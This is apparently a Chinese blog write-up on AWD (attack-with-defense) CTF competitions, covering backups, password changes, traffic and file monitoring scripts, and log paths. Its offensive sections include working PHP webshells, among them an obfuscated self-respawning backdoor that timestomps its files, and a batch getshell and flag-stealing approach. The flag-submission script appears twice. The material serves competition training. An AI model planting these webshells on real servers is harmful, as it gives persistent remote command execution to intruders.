awd比赛总结记录一下，方便以后回顾使用
awd线上训练参加了很多，对awd也有一定的理解了，比靶场更仿真，更像渗透，同时难度更是上升了很多，在训练的同时也在网上看了很多关于awd的相关知识。
首先awd是需要队友之前配合才能取得更高的分数，刚开始一人去负责页面挖洞，另外一个是将源码down下来，还有一个队友负责把批量getshell和批量提交flag的模板写好。
准备阶段
比赛的相关工具当然少不了
- D盾（down下来的源码直接扫后门）
- WireShark（分析流量包）
- 攻击框架例如：Attack-Defense-Framework
- burpsuite（搭配其中的工具Reissue Request Scripter，可以根据抓到的请求包直接生成请求脚本）
- 御剑或者dirsearch（用来扫网页的后台目录）
- nmap或者httpscan（用来扫描网段，得到对手机的ip）
- 服务器管理软件，termius或者winscp等
脚本也少不了，尤其是不死马脚本(加密shell防止被别人直接使用)和流量监控脚本，waf的话也得备一下，除此之外还有很多命令，如果记不住那就记录一下，想不出来命令更尴尬。
比赛过程
首先就是备份，非常重要，不仅仅代码审计更是为了防止被被人删掉源码导致服务器宕机，总之开始比赛先备份，没毛病。
站点源码可以用winscp进行备份到本地，但是速度会很慢，速度快的方法就是直接用tar打包，放在home目录，最好不要放在tmp目录，因为这个目录没有配置权限，如果在比赛过程中我们拿到了别人的shell，可以去tmp目录看看，说不定有惊喜。
tar备份的方法
cd /var/www/html
tar -zcvf ~/html.tar.gz *还原方法
rm -rf /var/www/html
tar -zxvf ~/html.tar.gz -C /var/www/html或者
cd /var/www/html
rm -rf *
tar -zxvf ~/html.tar.gz上面这是站点源码，除此之外还有数据库备份，有的时候数据库里面还有flag，首先找到配置文件，找找账号密码
cd /var/www/html
find .|xargs grep "password"备份
$ cd /var/lib/mysql #(进入到MySQL库目录，根据自己的MySQL的安装情况调整目录)
$ mysqldump -u root -p Test > Test.sql # 输入密码即可。
$ mysqldump -u root -p --all-databases > ~/backup.sql # 备份所有数据库
$ mysqldump -u root -p --all-databases -skip-lock-tables > ~/backup.sql # 跳过锁定的数据库表还原
$ mysql -u root -p
mysql> create database [database_name]; # 输入要还原的数据库名
mysql> use [database_name]
mysql> source backup.sql; # source后跟备份的文件名还原也可以这样
$ cd /var/lib/mysql # (进入到MySQL库目录，根据自己的MySQL的安装情况调整目录)
$ mysql -u root -p Test < Test.sql # 输入密码即可（将要恢复的数据库文件放到服务器的某个目录下，并进入这个目录执行以上命令）。备份之后还需要口令修改，ssh，cms，数据库root都需要修改
数据库口令修改，数据库密码修改
$ mysql -u root -p
show databases;
use mysql
set password for root@localhost = password('123');
或者
update user set password = PASSWORD('需要更换的密码') where user='root';
flush privileges;
show tables; # 看看有没有flagssh口令修改，登录ssh之后
passwd[用户]之后再上传流量监控脚本，它可以让你知道对手是如何攻击你的，你就可以用攻击你的方法攻击其他人
<?php
$ip = $_SERVER["REMOTE_ADDR"]; //记录访问者的ip
$filename = $_SERVER['PHP_SELF']; //访问者要访问的文件名
$parameter = $_SERVER["QUERY_STRING"]; //访问者要请求的参数
$method = $_SERVER['REQUEST_METHOD']; //请求方法
$uri = $_SERVER['REQUEST_URI']; //请求URI
$time = date('Y-m-d H:i:s',time()); //访问时间
$post = file_get_contents("php://input",'r'); //接收POST数据
$others = '...其他你想得到的信息...';
$logadd = 'Visit Time：'.$time.' '.'Visit IP：'.$ip."\r\n".'RequestURI：'.$uri.' '.$parameter.'RequestMethod：'.$method."\r\n";
// log记录
$fh = fopen("/tmp/log.txt", "a+");
fwrite($fh, $logadd);
fwrite($fh, print_r($_COOKIE, true)."\r\n");
fwrite($fh, $post."\r\n");
fwrite($fh, $others."\r\n");
fclose($fh);
?>这种脚本一般放置在CMS的入口文件处，下面几个常见CMS的入口地址，在这些入口的文件里使用require_once()就可以将监控脚本包含进去，达到流量监控的目的：
PHPCMS V9 \phpcms\base.php
PHPWIND8.7 \data\sql_config.php
DEDECMS5.7 \data\common.inc.php
DiscuzX2 \config\config_global.php
Wordpress \wp-config.php
Metinfo \include\head.php还有文件监控，文件监控就是将任何没有免死金牌的上传文件全部拦截，上传一个我就自动给你删掉，或者将其中的文件内容直接全部修改掉，这种脚本说实话也是比较危险，看实际情况而定吧，下面就是一个文件监控脚本：
# -*- coding: utf-8 -*-
#use: python file_check.py ./
import os
import hashlib
import shutil
import ntpath
import time
CWD = os.getcwd()
FILE_MD5_DICT = {} # 文件MD5字典
ORIGIN_FILE_LIST = []
# 特殊文件路径字符串
Special_path_str = 'drops_JWI96TY7ZKNMQPDRUOSG0FLH41A3C5EXVB82'
bakstring = 'bak_EAR1IBM0JT9HZ75WU4Y3Q8KLPCX26NDFOGVS'
logstring = 'log_WMY4RVTLAJFB28960SC3KZX7EUP1IHOQN5GD'
webshellstring = 'webshell_WMY4RVTLAJFB28960SC3KZX7EUP1IHOQN5GD'
difffile = 'diff_UMTGPJO17F82K35Z0LEDA6QB9WH4IYRXVSCN'
Special_string = 'diaossama' # 免死金牌
UNICODE_ENCODING = "utf-8"
INVALID_UNICODE_CHAR_FORMAT = r"\?%02x"
# 文件路径字典
spec_base_path = os.path.realpath(os.path.join(CWD, Special_path_str))
Special_path = {
'bak' : os.path.realpath(os.path.join(spec_base_path, bakstring)),
'log' : os.path.realpath(os.path.join(spec_base_path, logstring)),
'webshell' : os.path.realpath(os.path.join(spec_base_path, webshellstring)),
'difffile' : os.path.realpath(os.path.join(spec_base_path, difffile)),
}
def isListLike(value):
return isinstance(value, (list, tuple, set))
# 获取Unicode编码
def getUnicode(value, encoding=None, noneToNull=False):
if noneToNull and value is None:
return NULL
if isListLike(value):
value = list(getUnicode(_, encoding, noneToNull) for _ in value)
return value
if isinstance(value, unicode):
return value
elif isinstance(value, basestring):
while True:
try:
return unicode(value, encoding or UNICODE_ENCODING)
except UnicodeDecodeError, ex:
try:
return unicode(value, UNICODE_ENCODING)
except:
value = value[:ex.start] + "".join(INVALID_UNICODE_CHAR_FORMAT % ord(_) for _ in value[ex.start:ex.end]) + value[ex.end:]
else:
try:
return unicode(value)
except UnicodeDecodeError:
return unicode(str(value), errors="ignore")
# 目录创建
def mkdir_p(path):
import errno
try:
os.makedirs(path)
except OSError as exc:
if exc.errno == errno.EEXIST and os.path.isdir(path):
pass
else: raise
# 获取当前所有文件路径
def getfilelist(cwd):
filelist = []
for root,subdirs, files in os.walk(cwd):
for filepath in files:
originalfile = os.path.join(root, filepath)
if Special_path_str not in originalfile:
filelist.append(originalfile)
return filelist
# 计算机文件MD5值
def calcMD5(filepath):
try:
with open(filepath,'rb') as f:
md5obj = hashlib.md5()
md5obj.update(f.read())
hash = md5obj.hexdigest()
return hash
except Exception, e:
print u'[!] getmd5_error : ' + getUnicode(filepath)
print getUnicode(e)
try:
ORIGIN_FILE_LIST.remove(filepath)
FILE_MD5_DICT.pop(filepath, None)
except KeyError, e:
pass
# 获取所有文件MD5
def getfilemd5dict(filelist = []):
filemd5dict = {}
for ori_file in filelist:
if Special_path_str not in ori_file:
md5 = calcMD5(os.path.realpath(ori_file))
if md5:
filemd5dict[ori_file] = md5
return filemd5dict
# 备份所有文件
def backup_file(filelist=[]):
# if len(os.listdir(Special_path['bak'])) == 0:
for filepath in filelist:
if Special_path_str not in filepath:
shutil.copy2(filepath, Special_path['bak'])
if __name__ == '__main__':
print u'---------start------------'
for value in Special_path:
mkdir_p(Special_path[value])
# 获取所有文件路径，并获取所有文件的MD5，同时备份所有文件
ORIGIN_FILE_LIST = getfilelist(CWD)
FILE_MD5_DICT = getfilemd5dict(ORIGIN_FILE_LIST)
backup_file(ORIGIN_FILE_LIST) # TODO 备份文件可能会产生重名BUG
print u'[*] pre work end!'
while True:
file_list = getfilelist(CWD)
# 移除新上传文件
diff_file_list = list(set(file_list) ^ set(ORIGIN_FILE_LIST))
if len(diff_file_list) != 0:
# import pdb;pdb.set_trace()
for filepath in diff_file_list:
try:
f = open(filepath, 'r').read()
except Exception, e:
break
if Special_string not in f:
try:
print u'[*] webshell find : ' + getUnicode(filepath)
shutil.move(filepath, os.path.join(Special_path['webshell'], ntpath.basename(filepath) + '.txt'))
except Exception as e:
print u'[!] move webshell error, "%s" maybe is webshell.'%getUnicode(filepath)
try:
f = open(os.path.join(Special_path['log'], 'log.txt'), 'a')
f.write('newfile: ' + getUnicode(filepath) + ' : ' + str(time.ctime()) + '\n')
f.close()
except Exception as e:
print u'[-] log error : file move error: ' + getUnicode(e)
# 防止任意文件被修改,还原被修改文件
md5_dict = getfilemd5dict(ORIGIN_FILE_LIST)
for filekey in md5_dict:
if md5_dict[filekey] != FILE_MD5_DICT[filekey]:
try:
f = open(filekey, 'r').read()
except Exception, e:
break
if Special_string not in f:
try:
print u'[*] file had be change : ' + getUnicode(filekey)
shutil.move(filekey, os.path.join(Special_path['difffile'], ntpath.basename(filekey) + '.txt'))
shutil.move(os.path.join(Special_path['bak'], ntpath.basename(filekey)), filekey)
except Exception as e:
print u'[!] move webshell error, "%s" maybe is webshell.'%getUnicode(filekey)
try:
f = open(os.path.join(Special_path['log'], 'log.txt'), 'a')
f.write('diff_file: ' + getUnicode(filekey) + ' : ' + getUnicode(time.ctime()) + '\n')
f.close()
except Exception as e:
print u'[-] log error : done_diff: ' + getUnicode(filekey)
pass
time.sleep(2)
# print '[*] ' + getUnicode(time.ctime())一般比赛都会有预留后门，所以可以把自己down下的源码放到d盾里面扫一下，看看有哪些后门，及时删除并试试可以利用预留后门打一下别人
除此之外还有不死马，这个可以权限持续维持，每局都可以得分
一句话木马那方法就很多了，在这就不列举了。还有md5马
<?php
echo 'hello';
if(md5($_POST['pass'])=='042766b4e0c02419a448f2e8ec68d9bc'){
@eval($_POST['cmd']);
}
?>不死马也有很多种，但是为了不让别人直使用所以都进行了一定的加密，一种是不断复制自身达到不死，一种是复制多个马到不同目录相互守护，此外有区块链马，不知道是个啥
<?php
set_time_limit(0);
ignore_user_abort(true);
$file = '.demo.php';
$shell = "<?php $_hR=chr(99).chr(104).chr(114);$_cC=$_hR(101).$_hR(118).$_hR(97).$_hR(108).$_hR(40).$_hR(36).$_hR(95).$_hR(80).$_hR(79).$_hR(83).$_hR(84).$_hR(91).$_hR(49).$_hR(93).$_hR(41).$_hR(59);$_fF=$_hR(99).$_hR(114).$_hR(101).$_hR(97).$_hR(116).$_hR(101).$_hR(95).$_hR(102).$_hR(117).$_hR(110).$_hR(99).$_hR(116).$_hR(105).$_hR(111).$_hR(110);$_=$_fF("",$_cC);@$_();?>";
//$_hR='chr'
//$_cC='eval($_POST[1]);'
//$_fF='create_function'
while(true){
file_put_contents($file, $shell);
system('chmod 777 .demo.php');
touch(".demo.php", mktime(11,11,11,11,11,2018));
usleep(50);
}
?>这个demo就是会一直生成.demo.php的一句话木马，可以跟MD5马结合一下。
下面说一下如何杀不死马，结合上面demo.php不死马来说一下咋杀
<?php
while (1) {
$pid=1234;
@unlink('.demo.php');
exec('kill -9 $pid');
}
?>先用ps命令查看进程的pid，再修改一下上面的脚本执行即可
或者可以用ps aux命令来查看每个用户执行的命令和运行的进程
除此之外还有一个杀不死马的方法，写一个脚本不断生成那个不死马的同名文件，使那个不死马无法在该目录下创建文件，然后再找到那个不断创建不死马的进程将其杀死。
比赛中如果抓不到有用的流量，日志分析也是很有用的，分析服务器的访问日志也可以发现一些信息，下面罗列了一些服务器的日志路径
apache: /var/log/apache2/access.log
nginx: /var/log/nginx/自动化后台执行
有时候我们需要在服务器上后台执行一些脚本，这里就需要使用到nohup命令和linux shell中的&命令，nohup可以让命令不挂断地执行，&则可以让命令在后台运行，比如说现在我要在后台执行我的check脚本，我就可以这样写：
nohup python -u ./check.py > log.out & # 这里-u是禁用缓存，使输出直接进入log.out
# 如果需要运行shell脚本并且需要获得错误信息的话
nohup ./run.sh > log.out 2>&1 &
# 如果不需要记录日志
nohup ./run.sh > /dev/null &Copy查看它是否在后台执行可以使用jobs命令，输入jobs就可以看到后台运行了什么
最后
批量提交flag
再贴一下非常有用的脚本如果我们不能在对方服务器上种马，只能通过漏洞直接获取flag，那么我们可以通过上一步的自动化脚本在每一轮更新获取到的flag值将其写入文件，然后在本机用脚本批量交
#!/usr/bin/env python2
#coding=utf-8
import sys
import json
import urllib
import httplib
server_host = '' #提交flag的服务器地址
server_port = 80
def submit(team_token, flag, host=server_host, port=server_port, timeout=5):
if not team_token or not flag:
raise Exception('team token or flag wrong')
conn = httplib.HTTPConnection(host, port, timeout=timeout)
params = urllib.urlencode({ #提交需要post的参数,根据情况修改
'token': team_token,
'flag': flag,
})
headers = {
"Content-type": "application/x-www-form-urlencode"
}
conn.request('POST', '[submit_flag_dir]', params, headers) #第二个参数为提交flag的目录
response = conn.getresponse()
data = response.read()
return json.loads(data)
if __name__ == '__main__':
if len(sys.argv) < 3:
print 'usage: ./submitflag.py [team_token] [flag]'
sys.exit()
host = server_host
if len(sys.argv) > 3:
host = sys.argv[3]
#!/usr/bin/env python2
#coding=utf-8
import sys
import json
import urllib
import httplib
server_host = '' #提交flag的服务器地址
server_port = 80
def submit(team_token, flag, host=server_host, port=server_port, timeout=5):
if not team_token or not flag:
raise Exception('team token or flag wrong')
conn = httplib.HTTPConnection(host, port, timeout=timeout)
params = urllib.urlencode({ #提交需要post的参数,根据情况修改
'token': team_token,
'flag': flag,
})
headers = {
"Content-type": "application/x-www-form-urlencode"
}
conn.request('POST', '[submit_flag_dir]', params, headers) #第二个参数为提交flag的目录
response = conn.getresponse()
data = response.read()
return json.loads(data)
if __name__ == '__main__':
if len(sys.argv) < 3:
print 'usage: ./submitflag.py [team_token] [flag]'
sys.exit()
host = server_host
if len(sys.argv) > 3:
host = sys.argv[3]
print json.dumps(submit(sys.argv[1], sys.argv[2], host=host), indent=4)根据题目灵活修改
不死马理解
<?php
ignore_user_abort(true);//设置与客户机断开是否会终止脚本的执行，这里设置为true则忽略与用户的断开，即使与客户机断开脚本仍会执行。
set_time_limit(0);//设置脚本最大执行时间，这里设置为0，即没有时间方面的限制
unlink(__FILE__);//删除文件本身，以起到隐蔽自身的作用
$file = '.busi.php';
$code = '<?php if(md5($_GET["pass"])=="1a1dc91c907325c69271ddf0c944bc72"){@eval($_POST[a]);} ?>';
//pass=pass
while (1){
file_put_contents($file,$code);
system('touch -m -d "2018-12-01 09:10:12" .3.php');
usleep(0);
}//while循环中每隔usleep(0)即写新的后门文件，system命令用于修改文件的创建时间或修改时间，因为在AWD比赛中有的队伍使用
?>就拿上面这个不死马来介绍一下，该不死马不断生成.busi.php，通过访问http://localhost/.busi.php?pass=pass ,这个pass内容是md5加密之后的结果，目的是为了防止别人直接使用，MD5理论上不可逆，然后POST a=system(“想要执行的系统命令”);即可通过不死马实现命令执行。如果使用python批量getshell的话大体思路就是
url=http://localhost/.busi.php?pass=pass
data={“a”:”system(“cat /flag”);”}
flag=requests.post(url=url,data=data).text然后url变变就可以，一般会维护一个地址池 从地址池里面取url或者取特征（可能某个url字段不一样）直接打就行，再配合提交flag的api就可以实现自动getflag。
检查十分钟内被修改过的php文件，所以我们修改文件日期稍微进行掩饰。
find *.php -mmin -10在进行杀不死马的时候需要将usleep的值小于不死马的值，让杀马的速度比下马的速度快。
杀死不死马的几种方法
shell脚本直接删除不死马
while :
do
rm -rf .busi.php;
echo "remove success";
done一个循环语句，应该都能看懂，就是让他循环删马
PHP服务重启
service apache2 restart
service php restart这个方法在awd应该不能=使用，因为awd给的权限是不够的
杀低权限PHP进程
php-apache
<?php
system("kill `ps -ef | grep httpd | grep -v grep | awk '{print $2}'`");php-fpm
<?php
system("kill `ps -ef | grep php-fpm | grep -v grep | awk '{print $2}'`");
